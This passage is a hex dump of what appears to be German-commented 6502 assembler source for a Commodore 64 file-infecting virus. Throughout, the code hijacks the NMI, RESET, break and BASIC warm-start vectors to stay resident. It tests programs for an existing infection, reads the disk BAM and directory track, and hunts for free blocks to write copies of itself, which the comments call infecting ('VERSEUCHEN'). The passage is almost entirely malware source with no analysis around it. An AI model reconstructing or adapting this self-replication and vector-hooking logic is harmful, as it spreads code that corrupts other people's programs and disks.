00001030: 45 52 4E 2C 58 00 5A 18  4E 11 53 54 41 20 4C 49  |ERN,X.Z.N.STA LI|
00001040: 4E 4B 2C 58 20 20 3B 4C  49 4E 4B AB 54 45 49 4C  |NK,X  ;LINK.TEIL|
00001050: 20 4E 41 43 48 20 4C 49  4E 4B 00 74 18 58 11 44  | NACH LINK.t.X.D|
00001060: 45 58 20 20 20 20 20 20  20 20 20 3B 4B 4F 50 49  |EX         ;KOPI|
00001070: 45 52 45 4E 00 7F 18 62  11 42 50 4C 20 52 31 00  |EREN...b.BPL R1.|
00001080: 87 18 6C 11 52 54 53 00  A8 18 94 11 3B AB AB AB  |..l.RTS.....;...|
00001090: AB AB 5A 45 49 47 45 52  AB 53 45 54 5A 45 4E AB  |..ZEIGER.SETZEN.|
000010A0: AB AB AB AB AB AB B1 50  00 B9 18 99 11 50 4F B5  |.......P.....PO.|
000010B0: 45 52 20 4C 44 41 20 93  50 00 C4 18 9E 11 4C 44  |ER LDA .P.....LD|
000010C0: 41 20 93 50 00 D0 18 A3  11 43 4D 50 20 23 B3 93  |A .P.....CMP #..|
000010D0: 00 F3 18 A8 11 42 45 51  20 50 31 20 20 20 20 20  |.....BEQ P1     |
000010E0: 20 3B 44 49 56 45 52 53  45 20 42 45 54 52 49 45  | ;DIVERSE BETRIE|
000010F0: 42 53 AB 00 11 19 AD 11  53 54 41 20 93 AA 31 20  |BS......STA ..1 |
00001100: 20 3B 9E 54 45 4D 20 5A  45 49 47 45 52 20 41 55  | ;.TEM ZEIGER AU|
00001110: 46 00 2E 19 B2 11 4C 44  41 20 23 B3 93 20 20 3B  |F.....LDA #..  ;|
00001120: 56 49 52 55 53 20 50 52  4F 47 52 41 4D 4D 00 43  |VIRUS PROGRAMM.C|
00001130: 19 B7 11 53 54 41 20 93  50 20 20 20 3B 53 45 54  |...STA .P   ;SET|
00001140: 5A 45 4E 00 53 19 BC 11  50 31 20 4C 44 41 20 93  |ZEN.S...P1 LDA .|
00001150: 50 AA 31 00 6F 19 C1 11  43 4D 50 20 23 B1 93 20  |P.1.o...CMP #.. |
00001160: 20 3B 28 93 2C 94 2C 4E  4D 49 2C 49 52 51 2C 00  | ;(.,.,NMI,IRQ,.|
00001170: 96 19 C6 11 42 45 51 20  50 32 20 20 20 20 20 20  |....BEQ P2      |
00001180: 3B 52 45 53 45 54 2C 42  41 53 49 43 57 41 52 4D  |;RESET,BASICWARM|
00001190: 53 54 41 52 54 2C 00 B0  19 CB 11 53 54 41 20 93  |START,.....STA .|
000011A0: AA 32 20 20 3B 42 52 45  41 4B 56 45 4B A4 52 29  |.2  ;BREAKVEK.R)|
000011B0: 00 BC 19 D0 11 4C 44 41  20 23 B1 93 00 C9 19 D5  |.....LDA #......|
000011C0: 11 53 54 41 20 93 50 AA  31 00 D7 19 DA 11 50 32  |.STA .P.1.....P2|
000011D0: 20 4C 44 41 20 94 50 00  E3 19 DF 11 43 4D 50 20  | LDA .P.....CMP |
000011E0: 23 B3 94 00 EE 19 E4 11  42 45 51 20 50 33 00 FA  |#.......BEQ P3..|
000011F0: 19 E9 11 53 54 41 20 94  AA 31 00 06 1A EE 11 4C  |...STA ..1.....L|
00001200: 44 41 20 23 B3 94 00 11  1A F3 11 53 54 41 20 94  |DA #.......STA .|
00001210: 50 00 21 1A F8 11 50 33  20 4C 44 41 20 94 50 AA  |P.!...P3 LDA .P.|
00001220: 31 00 2D 1A FD 11 43 4D  50 20 23 B1 94 00 38 1A  |1.-...CMP #...8.|
00001230: 02 12 42 45 51 20 50 34  00 44 1A 07 12 53 54 41  |..BEQ P4.D...STA|
00001240: 20 94 AA 32 00 50 1A 0C  12 4C 44 41 20 23 B1 94  | ..2.P...LDA #..|
00001250: 00 5D 1A 11 12 53 54 41  20 94 50 AA 31 00 6E 1A  |.]...STA .P.1.n.|
00001260: 16 12 50 34 20 4C 44 41  20 57 41 52 4D 50 00 7D  |..P4 LDA WARMP.}|
00001270: 1A 1B 12 43 4D 50 20 23  B3 42 57 53 31 00 88 1A  |...CMP #.BWS1...|
00001280: 20 12 42 45 51 20 50 35  00 97 1A 25 12 53 54 41  | .BEQ P5...%.STA|
00001290: 20 42 57 53 32 AA 31 00  A6 1A 2A 12 4C 44 41 20  | BWS2.1...*.LDA |
000012A0: 23 B3 42 57 53 31 00 B4  1A 2F 12 53 54 41 20 57  |#.BWS1.../.STA W|
000012B0: 41 52 4D 50 00 C7 1A 34  12 50 35 20 4C 44 41 20  |ARMP...4.P5 LDA |
000012C0: 57 41 52 4D 50 AA 31 00  D6 1A 39 12 43 4D 50 20  |WARMP.1...9.CMP |
000012D0: 23 B1 42 57 53 31 00 E1  1A 3E 12 42 45 51 20 50  |#.BWS1...>.BEQ P|
000012E0: 36 00 F0 1A 43 12 53 54  41 20 42 57 53 32 AA 32  |6...C.STA BWS2.2|
000012F0: 00 FF 1A 48 12 4C 44 41  20 23 B1 42 57 53 31 00  |...H.LDA #.BWS1.|
00001300: 0F 1B 4D 12 53 54 41 20  57 41 52 4D 50 AA 31 00  |..M.STA WARMP.1.|
00001310: 1F 1B 52 12 50 36 20 4C  44 41 20 4E 4D 49 50 00  |..R.P6 LDA NMIP.|
00001320: 2E 1B 57 12 43 4D 50 20  23 B3 4E 4D 49 31 00 39  |..W.CMP #.NMI1.9|
00001330: 1B 5C 12 42 45 51 20 50  39 00 48 1B 61 12 53 54  |.\.BEQ P9.H.a.ST|
00001340: 41 20 4E 4D 49 32 AA 31  00 57 1B 66 12 4C 44 41  |A NMI2.1.W.f.LDA|
00001350: 20 23 B3 4E 4D 49 31 00  64 1B 6B 12 53 54 41 20  | #.NMI1.d.k.STA |
00001360: 4E 4D 49 50 00 76 1B 70  12 50 39 20 4C 44 41 20  |NMIP.v.p.P9 LDA |
00001370: 4E 4D 49 50 AA 31 00 85  1B 75 12 43 4D 50 20 23  |NMIP.1...u.CMP #|
00001380: B1 4E 4D 49 31 00 91 1B  7A 12 42 45 51 20 50 31  |.NMI1...z.BEQ P1|
00001390: 30 00 A0 1B 7F 12 53 54  41 20 4E 4D 49 32 AA 32  |0.....STA NMI2.2|
000013A0: 00 AF 1B 84 12 4C 44 41  20 23 B1 4E 4D 49 31 00  |.....LDA #.NMI1.|
000013B0: BE 1B 89 12 53 54 41 20  4E 4D 49 50 AA 31 00 D1  |....STA NMIP.1..|
000013C0: 1B 8E 12 50 31 30 20 4C  44 41 20 23 B3 4E 4D 49  |...P10 LDA #.NMI|
000013D0: 31 00 E0 1B 93 12 53 54  41 20 42 52 45 41 4B 50  |1.....STA BREAKP|
000013E0: 00 EF 1B 98 12 4C 44 41  20 23 B1 4E 4D 49 31 00  |.....LDA #.NMI1.|
000013F0: 00 1C 9D 12 53 54 41 20  42 52 45 41 4B 50 AA 31  |....STA BREAKP.1|
00001400: 00 10 1C A2 12 4C 44 41  20 23 B3 52 45 53 45 54  |.....LDA #.RESET|
00001410: 00 1E 1C AC 12 53 54 41  20 24 46 46 46 43 00 2E  |.....STA $FFFC..|
00001420: 1C B6 12 4C 44 41 20 23  B1 52 45 53 45 54 00 3C  |...LDA #.RESET.<|
00001430: 1C C0 12 53 54 41 20 24  46 46 46 44 00 44 1C CA  |...STA $FFFD.D..|
00001440: 12 52 54 53 00 64 1C 24  13 3B AB AB 5A 45 49 47  |.RTS.d.$.;..ZEIG|
00001450: 45 52 AB 5A 55 52 55 45  43 4B 53 45 54 5A 45 4E  |ER.ZURUECKSETZEN|
00001460: AB AB AB B1 00 72 1C 29  13 8C 20 4C 44 41 20 93  |.....r.).. LDA .|
00001470: AA 31 00 92 1C 2E 13 53  54 41 20 93 50 20 20 20  |.1.....STA .P   |
00001480: 3B 44 49 56 45 52 53 45  20 42 45 54 52 49 45 42  |;DIVERSE BETRIEB|
00001490: 53 AB 00 AF 1C 33 13 4C  44 41 20 93 AA 32 20 20  |S....3.LDA ..2  |
000014A0: 3B 9E 54 45 4D 5A 45 49  47 45 52 20 41 55 46 00  |;.TEMZEIGER AUF.|
000014B0: CB 1C 38 13 53 54 41 20  93 50 AA 31 20 3B B0 47  |..8.STA .P.1 ;.G|
000014C0: 49 4E 41 4C 41 44 52 45  53 53 45 00 E7 1C 3D 13  |INALADRESSE...=.|
000014D0: 4C 44 41 20 94 AA 31 20  20 3B 5A 55 52 55 45 43  |LDA ..1  ;ZURUEC|
000014E0: 4B 53 45 54 5A 45 4E 00  03 1D 42 13 53 54 41 20  |KSETZEN...B.STA |
000014F0: 94 50 20 20 20 3B 28 93  2C 94 2C 4E 4D 49 2C 49  |.P   ;(.,.,NMI,I|
00001500: 52 51 2C 00 21 1D 47 13  4C 44 41 20 94 AA 32 20  |RQ,.!.G.LDA ..2 |
00001510: 20 3B 42 41 53 49 43 57  41 52 4D 53 54 41 52 54  | ;BASICWARMSTART|
00001520: 29 00 2E 1D 4C 13 53 54  41 20 94 50 AA 31 00 3D  |)...L.STA .P.1.=|
00001530: 1D 51 13 4C 44 41 20 42  57 53 32 AA 31 00 4B 1D  |.Q.LDA BWS2.1.K.|
00001540: 56 13 53 54 41 20 57 41  52 4D 50 00 5A 1D 5B 13  |V.STA WARMP.Z.[.|
00001550: 4C 44 41 20 42 57 53 32  AA 32 00 6A 1D 60 13 53  |LDA BWS2.2.j.`.S|
00001560: 54 41 20 57 41 52 4D 50  AA 31 00 79 1D 65 13 4C  |TA WARMP.1.y.e.L|
00001570: 44 41 20 4E 4D 49 32 AA  31 00 86 1D 6A 13 53 54  |DA NMI2.1...j.ST|
00001580: 41 20 4E 4D 49 50 00 95  1D 6F 13 4C 44 41 20 4E  |A NMIP...o.LDA N|
00001590: 4D 49 32 AA 32 00 A4 1D  74 13 53 54 41 20 4E 4D  |MI2.2...t.STA NM|
000015A0: 49 50 AA 31 00 AC 1D 79  13 52 54 53 00 D0 1D 70  |IP.1...y.RTS...p|
000015B0: 17 3B AB AB AB AB AB AB  56 49 52 55 53 AB 4B 4F  |.;......VIRUS.KO|
000015C0: 50 49 45 52 45 4E AB AB  AB AB AB B1 4A 55 4D 50  |PIEREN......JUMP|
000015D0: 00 E4 1D 7A 17 44 4F 49  54 20 4C 44 41 20 53 54  |...z.DOIT LDA ST|
000015E0: 41 54 55 53 00 04 1E 84  17 50 48 41 20 20 20 20  |ATUS.....PHA    |
000015F0: 20 20 20 20 20 20 3B 53  54 41 54 55 53 20 52 45  |      ;STATUS RE|
00001600: 54 54 45 4E 00 11 1E 8E  17 4C 44 58 20 23 24 30  |TTEN.....LDX #$0|
00001610: 35 00 26 1E 98 17 4A 55  4D 50 31 32 20 4C 44 41  |5.&...JUMP12 LDA|
00001620: 20 50 41 52 2C 58 00 2E  1E A2 17 50 48 41 00 4E  | PAR,X.....PHA.N|
00001630: 1E AC 17 44 45 58 20 20  20 20 20 20 20 20 20 20  |...DEX          |
00001640: 3B 53 50 45 49 43 48 45  52 53 54 45 4C C3 00 71  |;SPEICHERSTEL..q|
00001650: 1E B6 17 42 50 4C 20 4A  55 4D 50 31 32 20 20 20  |...BPL JUMP12   |
00001660: 3B 41 55 46 20 53 54 41  43 4B 20 52 45 54 54 45  |;AUF STACK RETTE|
00001670: 4E 00 84 1E C0 17 4C 44  58 20 23 31 33 AA 42 4C  |N.....LDX #13.BL|
00001680: 4F 43 4B 53 00 99 1E CA  17 4A 55 4D 50 31 33 20  |OCKS.....JUMP13 |
00001690: 4C 44 41 20 4D 45 4D 2C  58 00 A1 1E D4 17 50 48  |LDA MEM,X.....PH|
000016A0: 41 00 A9 1E DE 17 44 45  58 00 B8 1E E8 17 42 50  |A.....DEX.....BP|
000016B0: 4C 20 4A 55 4D 50 31 33  00 D2 1E 06 18 4C 44 41  |L JUMP13.....LDA|
000016C0: 20 23 30 20 20 20 20 20  20 20 3B 46 4C 4F 50 50  | #0       ;FLOPP|
000016D0: 59 AB 00 E4 1E 10 18 4A  53 52 20 48 41 43 B5 4F  |Y......JSR HAC.O|
000016E0: 53 48 20 3B 00 02 1F 1A  18 4C 44 58 20 23 24 36  |SH ;.....LDX #$6|
000016F0: 46 20 20 20 20 20 3B 4B  4F 4D 4D AF 4F 4B 41 4E  |F     ;KOMM.OKAN|
00001700: 41 4C 00 15 1F 24 18 53  54 58 20 53 45 4B 20 20  |AL...$.STX SEK  |
00001710: 20 20 20 20 3B 00 2E 1F  2E 18 4A 53 52 20 48 41  |    ;.....JSR HA|
00001720: 4E 53 20 20 20 20 20 3B  4F 45 46 A5 45 4E 00 4F  |NS     ;OEF.EN.O|
00001730: 1F 38 18 4C 44 41 20 23  31 20 20 20 20 20 20 20  |.8.LDA #1       |
00001740: 3B 5A 55 88 5A 54 42 45  4E 55 54 5A 54 45 53 00  |;ZU.ZTBENUTZTES.|
00001750: 66 1F 42 18 4C 44 58 20  23 B3 4E 41 4D 45 20 20  |f.B.LDX #.NAME  |
00001760: 20 3B 46 49 4C 45 00 79  1F 4C 18 4C 44 59 20 23  | ;FILE.y.L.LDY #|
00001770: B1 4E 41 4D 45 20 20 20  3B 00 8B 1F 56 18 4A 53  |.NAME   ;...V.JS|
00001780: 52 20 48 41 43 B5 4F 53  48 20 3B 00 9E 1F 60 18  |R HAC.OSH ;...`.|
00001790: 4C 44 41 20 23 24 36 30  20 20 20 20 20 3B 00 B1  |LDA #$60     ;..|
000017A0: 1F 6A 18 53 54 41 20 53  45 4B 20 20 20 20 20 20  |.j.STA SEK      |
000017B0: 3B 00 C4 1F 74 18 4A 53  52 20 48 41 4E 53 20 20  |;...t.JSR HANS  |
000017C0: 20 20 20 3B 00 D2 1F 7E  18 4A 53 52 20 53 54 41  |   ;...~.JSR STA|
000017D0: 4C 4B 00 E9 1F 88 18 4A  53 52 20 42 48 50 20 20  |LK.....JSR BHP  |
000017E0: 20 20 20 20 3B 41 44 52  4C 00 F8 1F 92 18 43 4D  |    ;ADRL.....CM|
000017F0: 50 20 42 41 53 49 43 53  00 02 20 9C 18 42 4E 45  |P BASICS.. ..BNE|
00001800: 20 80 00 19 20 A6 18 4A  53 52 20 42 48 50 20 20  | ... ..JSR BHP  |
00001810: 20 20 20 20 3B 41 44 52  48 00 2A 20 B0 18 43 4D  |    ;ADRH.* ..CM|
00001820: 50 20 42 41 53 49 43 53  AA 31 00 34 20 BA 18 42  |P BASICS.1.4 ..B|
00001830: 4E 45 20 80 00 53 20 C4  18 4C 44 41 20 23 35 20  |NE ..S ..LDA #5 |
00001840: 20 20 20 20 20 20 3B 57  45 4E 4E 20 52 49 43 48  |      ;WENN RICH|
00001850: 54 49 47 00 79 20 CE 18  53 54 41 20 43 4F 55 4E  |TIG.y ..STA COUN|
00001860: 54 20 20 20 20 3B 4C 45  53 45 20 4C 49 4E 4B 2C  |T    ;LESE LINK,|
00001870: 4C 49 4E 45 2C A4 4B 45  4E 00 8B 20 D8 18 4C 4F  |LINE,.KEN.. ..LO|
00001880: 4F 50 31 20 4A 53 52 20  42 48 50 00 99 20 E2 18  |OP1 JSR BHP.. ..|
00001890: 44 45 43 20 43 4F 55 4E  54 00 A7 20 EC 18 42 4E  |DEC COUNT.. ..BN|
000018A0: 45 20 4C 4F 4F 50 31 00  AF 20 F6 18 54 41 58 00  |E LOOP1.. ..TAX.|
000018B0: D2 20 00 19 4C 44 41 20  53 54 41 54 55 53 20 20  |. ..LDA STATUS  |
000018C0: 20 3B 46 45 48 4C 45 52  20 41 55 46 A1 52 45 54  | ;FEHLER AUF.RET|
000018D0: 45 4E 00 DA 20 0A 19 4C  53 52 00 E2 20 14 19 4C  |EN.. ..LSR.. ..L|
000018E0: 53 52 00 05 21 1E 19 42  43 53 20 80 20 20 20 20  |SR..!..BCS .    |
000018F0: 20 20 3B 4A 41 20 20 20  20 20 20 20 20 20 20 20  |  ;JA           |
00001900: 20 20 AB AB B1 00 20 21  28 19 43 50 58 20 23 24  |  .... !(.CPX #$|
00001910: 39 45 20 20 20 20 20 3B  9E AB 42 45 46 45 48 4C  |9E     ;..BEFEHL|
00001920: 00 45 21 32 19 42 4E 45  20 4A 55 4D 50 31 20 20  |.E!2.BNE JUMP1  |
00001930: 20 20 3B 4E 45 49 4E 2C  20 42 41 53 49 43 50 52  |  ;NEIN, BASICPR|
00001940: 47 20 AB AB B1 00 67 21  3C 19 4C 44 41 20 23 30  |G ....g!<.LDA #0|
00001950: 20 20 20 20 20 20 20 3B  54 45 53 54 45 20 41 55  |       ;TESTE AU|
00001960: 46 20 56 49 52 55 53 00  75 21 46 19 53 54 41 20  |F VIRUS.u!F.STA |
00001970: 43 4F 55 4E 54 00 87 21  50 19 4C 4F 4F 50 32 20  |COUNT..!P.LOOP2 |
00001980: 4A 53 52 20 42 48 50 00  95 21 5A 19 4C 44 58 20  |JSR BHP..!Z.LDX |
00001990: 43 4F 55 4E 54 00 A5 21  64 19 43 4D 50 20 56 49  |COUNT..!d.CMP VI|
000019A0: 52 55 53 2C 58 00 B3 21  6E 19 42 4E 45 20 4A 55  |RUS,X..!n.BNE JU|
000019B0: 4D 50 31 00 BB 21 78 19  49 4E 58 00 C9 21 82 19  |MP1..!x.INX..!..|
000019C0: 53 54 58 20 43 4F 55 4E  54 00 D5 21 8C 19 43 50  |STX COUNT..!..CP|
000019D0: 58 20 23 32 37 00 E3 21  96 19 42 4E 45 20 4C 4F  |X #27..!..BNE LO|
000019E0: 4F 50 32 00 06 22 A0 19  80 20 4A 4D 50 20 42 59  |OP2.."... JMP BY|
000019F0: 45 20 20 3B 50 52 47 20  53 43 48 91 20 56 45 52  |E  ;PRG SCH. VER|
00001A00: 53 45 55 43 48 54 00 1A  22 AA 19 4A 55 4D 50 31  |SEUCHT.."..JUMP1|
00001A10: 20 4A 53 52 20 53 55 48  41 4C 00 3E 22 B4 19 4C  | JSR SUHAL.>"..L|
00001A20: 44 41 20 23 22 52 22 20  20 20 20 20 3B 53 43 48  |DA #"R"     ;SCH|
00001A30: 41 4C 54 45 20 41 55 46  20 4C 45 53 45 AB 00 56  |ALTE AUF LESE..V|
00001A40: 22 BE 19 53 54 41 20 44  4F 20 20 20 20 20 20 20  |"..STA DO       |
00001A50: 3B 4D 4F 44 55 53 00 63  22 C8 19 4C 44 58 20 23  |;MODUS.c"..LDX #|
00001A60: 24 36 46 00 6F 22 D2 19  53 54 58 20 53 45 4B 00  |$6F.o"..STX SEK.|
00001A70: 91 22 DC 19 4C 44 58 20  23 24 46 39 20 20 20 20  |."..LDX #$F9    |
00001A80: 20 3B 5A 55 88 5A 54 20  42 45 4E 55 54 5A 54 45  | ;ZU.ZT BENUTZTE|
00001A90: 4E 00 B2 22 E6 19 4C 44  59 20 23 30 20 20 20 20  |N.."..LDY #0    |
00001AA0: 20 20 20 3B 50 55 46 46  45 52 20 45 52 4D 49 54  |   ;PUFFER ERMIT|
00001AB0: 54 C3 00 BD 22 F0 19 4C  44 41 20 23 31 00 CB 22  |T..."..LDA #1.."|
00001AC0: FA 19 4A 53 52 20 4D 45  4D B0 59 00 DC 22 04 1A  |..JSR MEM.Y.."..|
00001AD0: 4A 53 52 20 47 41 52 46  49 45 4C 44 00 EA 22 0E  |JSR GARFIELD..".|
00001AE0: 1A 4A 53 52 20 53 54 41  4C 4B 00 08 23 18 1A 4A  |.JSR STALK..#..J|
00001AF0: 53 52 20 42 48 50 20 20  20 20 20 20 3B 48 4F 4C  |SR BHP      ;HOL|
00001B00: 45 20 50 55 46 46 45 52  00 10 23 22 1A 50 48 41  |E PUFFER..#".PHA|
00001B10: 00 1E 23 2C 1A 4A 53 52  20 53 55 48 41 4C 00 26  |..#,.JSR SUHAL.&|
00001B20: 23 36 1A 50 4C 41 00 49  23 40 1A 53 54 41 20 4A  |#6.PLA.I#@.STA J|
00001B30: 4F 42 20 20 20 20 20 20  3B 42 45 52 45 43 48 4E  |OB      ;BERECHN|
00001B40: 45 20 44 49 56 45 52 53  45 00 65 23 4A 1A 43 4C  |E DIVERSE.e#J.CL|
00001B50: 43 20 20 20 20 20 20 20  20 20 20 3B 50 41 52 41  |C          ;PARA|
00001B60: 4D 45 54 45 52 00 70 23  54 1A 41 44 43 20 23 33  |METER.p#T.ADC #3|
00001B70: 00 93 23 5E 1A 53 54 41  20 41 44 52 20 20 20 20  |..#^.STA ADR    |
00001B80: 20 20 3B 48 49 47 48 AB  42 59 54 45 20 50 55 46  |  ;HIGH.BYTE PUF|
00001B90: 46 45 52 00 9F 23 68 1A  4C 44 41 20 4A 4F 42 00  |FER..#h.LDA JOB.|
00001BA0: A7 23 72 1A 41 53 4C 00  CA 23 7C 1A 41 44 43 20  |.#r.ASL..#|.ADC |
00001BB0: 23 36 20 20 20 20 20 20  20 3B 54 52 41 43 4B 26  |#6       ;TRACK&|
00001BC0: 53 45 43 A4 52 20 46 55  45 52 00 E0 23 86 1A 54  |SEC.R FUER..#..T|
00001BD0: 41 58 20 20 20 20 20 20  20 20 20 20 3B 4A 4F 42  |AX          ;JOB|
00001BE0: 00 EF 23 90 1A 53 54 58  20 50 55 46 46 45 52 00  |..#..STX PUFFER.|
00001BF0: FA 23 9A 1A 4C 44 59 20  23 30 00 18 24 A4 1A 4C  |.#..LDY #0..$..L|
00001C00: 44 41 20 23 32 20 20 20  20 20 20 20 3B 48 4F 4C  |DA #2       ;HOL|
00001C10: 45 20 53 54 41 52 54 AB  00 38 24 AE 1A 4A 53 52  |E START..8$..JSR|
00001C20: 20 4D 45 4D B0 59 20 20  20 3B 54 52 41 43 4B 20  | MEM.Y   ;TRACK |
00001C30: 26 20 AB 53 45 43 A4 52  00 49 24 B8 1A 4A 53 52  |& .SEC.R.I$..JSR|
00001C40: 20 47 41 52 46 49 45 4C  44 00 57 24 C2 1A 4A 53  | GARFIELD.W$..JS|
00001C50: 52 20 53 54 41 4C 4B 00  74 24 CC 1A 4A 53 52 20  |R STALK.t$..JSR |
00001C60: 42 48 50 20 20 20 20 20  20 3B 53 54 41 52 54 54  |BHP      ;STARTT|
00001C70: 52 41 43 4B 00 90 24 D6  1A 53 54 41 20 54 52 41  |RACK..$..STA TRA|
00001C80: 43 4B 20 20 20 20 3B 53  50 45 49 43 48 45 52 4E  |CK    ;SPEICHERN|
00001C90: 00 AD 24 E0 1A 4A 53 52  20 42 48 50 20 20 20 20  |..$..JSR BHP    |
00001CA0: 20 20 3B 53 54 41 52 54  53 45 43 A4 52 00 C8 24  |  ;STARTSEC.R..$|
00001CB0: EA 1A 53 54 41 20 53 45  43 A4 52 20 20 20 3B 53  |..STA SEC.R   ;S|
00001CC0: 50 45 49 43 48 45 52 4E  00 D6 24 F4 1A 4A 53 52  |PEICHERN..$..JSR|
00001CD0: 20 53 55 48 41 4C 00 F7  24 FE 1A 4C 44 41 20 54  | SUHAL..$..LDA T|
00001CE0: 52 41 43 4B 20 20 20 20  3B 44 49 52 45 43 A4 52  |RACK    ;DIREC.R|
00001CF0: 59 20 4E 49 43 48 54 00  14 25 08 1B 43 4D 50 20  |Y NICHT..%..CMP |
00001D00: 23 31 38 20 20 20 20 20  20 3B 56 45 52 53 45 55  |#18      ;VERSEU|
00001D10: 43 48 45 4E 00 1E 25 12  1B 42 45 51 20 80 00 41  |CHEN..%..BEQ ..A|
00001D20: 25 1C 1B 4C 44 58 20 23  24 30 45 20 20 20 20 20  |%..LDX #$0E     |
00001D30: 3B 50 52 55 45 46 45 20  4F 42 20 42 41 4D 20 49  |;PRUEFE OB BAM I|
00001D40: 4D 00 65 25 26 1B 4C 44  59 20 23 24 30 30 20 20  |M.e%&.LDY #$00  |
00001D50: 20 20 20 3B 46 4C 4F 50  50 59 AB 52 41 4D 20 56  |   ;FLOPPY.RAM V|
00001D60: B0 48 AF 45 4E 00 7B 25  30 1B 4C 44 41 20 23 32  |.H.EN.{%0.LDA #2|
00001D70: 20 20 20 20 20 20 20 3B  49 53 54 00 89 25 3A 1B  |       ;IST..%:.|
00001D80: 4A 53 52 20 4D 45 4D B0  59 00 9A 25 44 1B 4A 53  |JSR MEM.Y..%D.JS|
00001D90: 52 20 47 41 52 46 49 45  4C 44 00 A8 25 4E 1B 4A  |R GARFIELD..%N.J|
00001DA0: 53 52 20 53 54 41 4C 4B  00 B4 25 58 1B 4A 53 52  |SR STALK..%X.JSR|
00001DB0: 20 42 48 50 00 D5 25 62  1B 43 4D 50 20 23 31 38  | BHP..%b.CMP #18|
00001DC0: 20 20 20 20 20 20 3B 44  49 52 45 43 A4 52 59 AB  |      ;DIREC.RY.|
00001DD0: 54 52 41 43 4B 00 F7 25  6C 1B 42 4E 45 20 80 20  |TRACK..%l.BNE . |
00001DE0: 20 20 20 20 20 3B 4E 45  49 4E 20 20 AB AB B1 20  |     ;NEIN  ... |
00001DF0: 44 41 4E 4E 20 80 45 00  03 26 76 1B 4A 53 52 20  |DANN .E..&v.JSR |
00001E00: 42 48 50 00 1F 26 80 1B  43 4D 50 20 23 30 20 20  |BHP..&..CMP #0  |
00001E10: 20 20 20 20 20 3B 42 41  4D AB 53 45 43 A4 52 00  |     ;BAM.SEC.R.|
00001E20: 41 26 8A 1B 42 4E 45 20  80 20 20 20 20 20 20 3B  |A&..BNE .      ;|
00001E30: 4E 45 49 4E 20 20 AB AB  B1 20 44 41 4E 4E 20 80  |NEIN  ... DANN .|
00001E40: 45 00 4F 26 94 1B 4A 53  52 20 53 55 48 41 4C 00  |E.O&..JSR SUHAL.|
00001E50: 72 26 9E 1B 4C 44 58 20  23 24 30 30 20 20 20 20  |r&..LDX #$00    |
00001E60: 20 3B 53 55 43 48 45 20  50 4C 41 54 5A 20 46 55  | ;SUCHE PLATZ FU|
00001E70: 45 52 00 8A 26 A8 1B 4A  55 4D 50 33 20 53 54 58  |ER..&..JUMP3 STX|
00001E80: 20 58 20 20 3B 56 49 52  55 53 00 92 26 B2 1B 54  | X  ;VIRUS..&..T|
00001E90: 58 41 00 B9 26 BC 1B 4C  53 52 20 20 20 20 20 20  |XA..&..LSR      |
00001EA0: 20 20 20 20 3B 50 52 55  45 46 45 20 55 4E 54 45  |    ;PRUEFE UNTE|
00001EB0: 52 53 54 45 53 20 42 49  54 00 DC 26 C6 1B 53 54  |RSTES BIT..&..ST|
00001EC0: 41 20 43 4F 55 4E 54 20  20 20 20 3B 57 45 4E 4E  |A COUNT    ;WENN|
00001ED0: 20 42 49 54 B2 30 20 53  55 43 48 45 00 F9 26 D0  | BIT.0 SUCHE..&.|
00001EE0: 1B 42 43 43 20 4A 55 4D  50 39 20 20 20 20 3B 4E  |.BCC JUMP9    ;N|
00001EF0: 41 43 48 20 49 4E 4E 45  4E 00 19 27 DA 1B 4C 44  |ACH INNEN..'..LD|
00001F00: 41 20 54 52 41 43 4B 20  20 20 20 3B AF 45 52 46  |A TRACK    ;.ERF|
00001F10: 41 4C 4C 53 20 4E 41 43  48 00 32 27 E4 1B 53 42  |ALLS NACH.2'..SB|
00001F20: 43 20 43 4F 55 4E 54 20  20 20 20 3B 41 55 53 53  |C COUNT    ;AUSS|
00001F30: 45 4E 00 41 27 EE 1B 4A  4D 50 20 4A 55 4D 50 31  |EN.A'..JMP JUMP1|
00001F40: 30 00 56 27 F8 1B 4A 55  4D 50 39 20 20 41 44 43  |0.V'..JUMP9  ADC|
00001F50: 20 54 52 41 43 4B 00 6C  27 02 1C 4A 55 4D 50 31  | TRACK.l'..JUMP1|
00001F60: 30 20 53 54 41 20 56 54  52 41 43 4B 00 8B 27 0C  |0 STA VTRACK..'.|
00001F70: 1C 42 45 51 20 4A 55 4D  50 31 36 20 20 20 3B 53  |.BEQ JUMP16   ;S|
00001F80: 50 55 52 B1 33 35 20 4F  44 45 52 00 B2 27 16 1C  |PUR.35 ODER..'..|
00001F90: 43 4D 50 20 23 33 36 20  20 20 20 20 20 3B B3 31  |CMP #36      ;.1|
00001FA0: 20 44 41 4E 4E 20 57 45  49 54 45 52 53 55 43 48  | DANN WEITERSUCH|
00001FB0: 45 4E 00 C1 27 20 1C 42  43 53 20 4A 55 4D 50 31  |EN..' .BCS JUMP1|
00001FC0: 36 00 E0 27 2A 1C 43 4D  50 20 23 31 38 20 20 20  |6..'*.CMP #18   |
00001FD0: 20 20 20 3B 44 49 52 45  43 A4 52 59 53 50 55 52  |   ;DIREC.RYSPUR|
00001FE0: 00 EF 27 34 1C 42 45 51  20 4A 55 4D 50 31 36 00  |..'4.BEQ JUMP16.|
00001FF0: 0D 28 3E 1C 4A 53 52 20  42 53 45 4C 45 43 54 20  |.(>.JSR BSELECT |
00002000: 20 3B 53 55 43 48 45 20  50 4C 41 54 5A 00 1E 28  | ;SUCHE PLATZ..(|
00002010: 48 1C 4A 53 52 20 47 41  52 46 49 45 4C 44 00 2C  |H.JSR GARFIELD.,|
00002020: 28 52 1C 4A 53 52 20 53  54 41 4C 4B 00 38 28 5C  |(R.JSR STALK.8(\|
00002030: 1C 4A 53 52 20 42 48 50  00 59 28 66 1C 43 4D 50  |.JSR BHP.Y(f.CMP|
00002040: 20 23 42 4C 4F 43 4B 53  20 20 3B 50 4C 41 54 5A  | #BLOCKS  ;PLATZ|
00002050: 20 47 45 46 55 4E 44 45  4E 00 71 28 70 1C 42 43  | GEFUNDEN.q(p.BC|
00002060: 53 20 4A 55 4D 50 34 20  20 20 20 3B 4A 41 AB AB  |S JUMP4    ;JA..|
00002070: B1 00 7F 28 7A 1C 4A 53  52 20 53 55 48 41 4C 00  |...(z.JSR SUHAL.|
00002080: 90 28 84 1C 4A 55 4D 50  31 36 20 4C 44 58 20 58  |.(..JUMP16 LDX X|
00002090: 00 B4 28 8E 1C 49 4E 58  20 20 20 20 20 20 20 20  |..(..INX        |
000020A0: 20 20 3B 50 52 55 45 46  45 20 4F 42 20 57 45 49  |  ;PRUEFE OB WEI|
000020B0: 54 45 52 45 00 D3 28 98  1C 43 50 58 20 23 36 38  |TERE..(..CPX #68|
